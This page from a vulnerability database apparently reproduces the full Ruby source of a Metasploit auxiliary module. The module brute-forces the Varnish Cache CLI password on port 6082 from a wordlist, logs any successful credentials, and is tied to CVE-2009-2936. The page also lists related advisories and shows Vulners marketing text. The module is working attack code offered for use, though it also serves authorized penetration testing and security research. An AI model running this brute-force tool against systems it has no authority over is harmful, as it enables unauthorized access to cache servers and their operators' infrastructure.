Lucene search
+L

Varnish Cache CLI Login Utility

🗓️ 22 Nov 2016 03:06:20Reported by aushack <[email protected]>, h00die <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

Varnish Cache CLI Login Utility module for Metasploit framework to bruteforce Varnish Cache CLI password

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Varnish Cache CLI Interface Remote Code Execution Exploit
21 Dec 201400:00
zdt
attackerkb
ATTACKERKB
CVE-2009-2936
5 Apr 201000:00
attackerkb
attackerkb
ATTACKERKB
CVE-2007-2617
11 May 200700:00
attackerkb
circl
Circl
CVE-2009-2936
29 May 201815:50
circl
cve
CVE
CVE-2009-2936
5 Apr 201016:00
cve
cvelist
Cvelist
CVE-2009-2936
5 Apr 201016:00
cvelist
debiancve
Debian CVE
CVE-2009-2936
5 Apr 201016:00
debiancve
exploitdb
Exploit DB
Varnish Cache CLI Interface - Remote Code Execution (Metasploit)
19 Dec 201400:00
exploitdb
exploitpack
exploitpack
Varnish Cache CLI Interface - Remote Code Execution (Metasploit)
19 Dec 201400:00
exploitpack
fedora
Fedora
[SECURITY] Fedora 13 Update: varnish-2.1.0-2.fc13
29 Apr 201007:10
fedora
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/varnish'
require 'metasploit/framework/tcp/client'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Metasploit::Framework::Varnish::Client

  def initialize
    super(
      'Name'           => 'Varnish Cache CLI Login Utility',
      'Description'    => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
                           list of passwords.',
      'References'     =>
        [
          [ 'OSVDB', '67670' ],
          [ 'CVE', '2009-2936' ],
          [ 'EDB', '35581' ],
          [ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
        ],
      'Author'         =>
        [
          'aushack', #original module
          'h00die <[email protected]>' #updates and standardizations
        ],
      'License'        => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(6082),
        OptPath.new('PASS_FILE',  [ true, 'File containing passwords, one per line',
          File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ])
      ])

    # We don't currently support an auth mechanism that uses usernames, so we'll ignore any
    # usernames that are passed in.
    @strip_usernames = true
  end

  def run_host(ip)
    # first check if we even need auth
    begin
      connect
      if !require_auth?
        print_good "#{ip}:#{rport} - Login Successful: No Authentication Required"
        close_session
        disconnect
        return
      else
        vprint_status "#{ip}:#{rport} - Authentication Required"
      end
      close_session
      disconnect
    rescue Rex::ConnectionError, EOFError, Timeout::Error
      print_error "#{ip}:#{rport} - Unable to connect"
    end

    cred_collection = Metasploit::Framework::CredentialCollection.new(
      pass_file: datastore['PASS_FILE'],
      username: '<BLANK>'
    )
    scanner = Metasploit::Framework::LoginScanner::VarnishCLI.new(
      configure_login_scanner(
        host: ip,
        port: rport,
        cred_details: cred_collection,
        stop_on_success: true,
        connection_timeout: 10,
        framework: framework,
        framework_module: self,
      )
    )
    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: fullname,
        workspace_id: myworkspace_id
      )
      if result.success?
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)

        print_good "#{ip}:#{rport} - Login Successful: #{result.credential.private}"
      else
        invalidate_login(credential_data)
        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 May 2024 12:00Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.63824
39